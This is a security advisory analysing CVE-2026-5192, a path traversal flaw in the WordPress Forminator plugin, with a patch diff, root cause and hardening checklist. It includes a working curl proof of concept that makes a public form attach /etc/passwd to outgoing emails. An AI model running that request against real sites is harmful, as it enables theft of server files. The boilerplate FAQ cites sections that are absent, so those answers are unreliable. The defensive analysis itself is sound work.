SECURITY ADVISORY / 01

CVE-2026-5192 Exploit & Vulnerability Analysis

Complete CVE-2026-5192 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:forminator NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Unauthenticated attackers can abuse a public Forminator file-upload form with Save and Continue enabled by submitting a crafted upload-1[file][file_path] value pointing outside the uploads directory.

curl 'http://TARGET/wp-admin/admin-ajax.php?action=forminator_frontend_form_submit' \
  -H 'User-Agent: Mozilla/5.0' \
  -F 'forminator_form_id=123' \
  -F 'upload-1[file][file_path]=/etc/passwd' \
  -F 'upload-1[file][name]=passwd' \
  -F 'upload-1[file][type]=text/plain'

The Forminator endpoint accepts the submission and proceeds to build the Save and Continue email, treating /etc/passwd as an attachment path. The response indicates the form submission succeeded and the email assembly code ran, meaning arbitrary server-side files can be attached to outgoing notifications.

What the Patch Did

Before:

// Set email context to false to avoid replacing images in PDFs.
$old_value              = self::$is_email_context;
self::$is_email_context = false;
$this->attachment       = apply_filters( 'forminator_custom_form_mail_attachment', $attachment, $custom_form, $entry, $this->pdfs );
self::$is_email_context = $old_value;

After:

// Set email context to false to avoid replacing images in PDFs.
$old_value              = self::$is_email_context;
self::$is_email_context = false;
$attachment             = $this->filter_attachments( $attachment );
$this->attachment       = apply_filters( 'forminator_custom_form_mail_attachment', $attachment, $custom_form, $entry, $this->pdfs );
self::$is_email_context = $old_value;

/**
 * Filter attachments to make sure only files in upload dir can be attached.
 *
 * @param array $attachments Attachments to filter.
 * @return array
 */
private function filter_attachments( $attachments ) {
    if ( ! empty( $attachments ) ) {
        $upload_dir = wp_upload_dir();
        if ( ! empty( $upload_dir['basedir'] ) ) {
            foreach ( $attachments as $key => $attachment ) {
                if ( 0 !== strpos( $attachment, $upload_dir['basedir'] ) ) {
                    unset( $attachments[ $key ] );
                }
            }
        }
    }

    return $attachments;
}

The patch added a path confinement check before attachments reach the mail filter. It uses wp_upload_dir() and a strpos() prefix comparison to ensure only files under the WordPress uploads directory are retained.

Root Cause

This is a CWE-22 path traversal / arbitrary file attachment bug. User-controlled data from the public form submission, specifically upload-1[file][file_path], is treated as an attachment path and forwarded into mail assembly without checking whether it lives under wp_upload_dir()['basedir']. The trust boundary between attacker-controlled form metadata and filesystem attachment handling is crossed unchecked, allowing arbitrary files outside the upload directory to be attached to outgoing emails.

Why It Works

The single load-bearing line is the strpos() check inside filter_attachments():

if ( 0 !== strpos( $attachment, $upload_dir['basedir'] ) ) {
    unset( $attachments[ $key ] );
}

Without that check, the bug remains exploitable because any upload-1[file][file_path] value outside the upload folder is still passed through to apply_filters() and then attached. The surrounding code that retrieves $upload_dir and iterates attachments is necessary scaffolding; the security control is the path prefix validation itself. The self::$is_email_context lines preserve state during email processing and are unrelated to the vulnerability fix.

Hardening Checklist

  • Use wp_upload_dir() to derive the canonical uploads directory and reject attachment paths that do not begin with that base directory.
  • Normalize filesystem paths with wp_normalize_path() or realpath() before comparison to avoid bypasses via ../.
  • Verify external attachment paths with file_exists() and is_readable() before queuing them for email.
  • Treat upload metadata such as upload-1[file][file_path] as untrusted input and do not use it directly as a filesystem path.
  • Filter attachment lists before passing them to apply_filters() or mail-sending functions to ensure the plugin never attaches arbitrary server files.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-5192

Frequently asked questions about CVE-2026-5192

What is CVE-2026-5192?

CVE-2026-5192 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-5192?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-5192. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-5192 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-5192?

CVE-2026-5192 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-5192?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2026-5192?

The severity rating and CVSS scoring for CVE-2026-5192 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.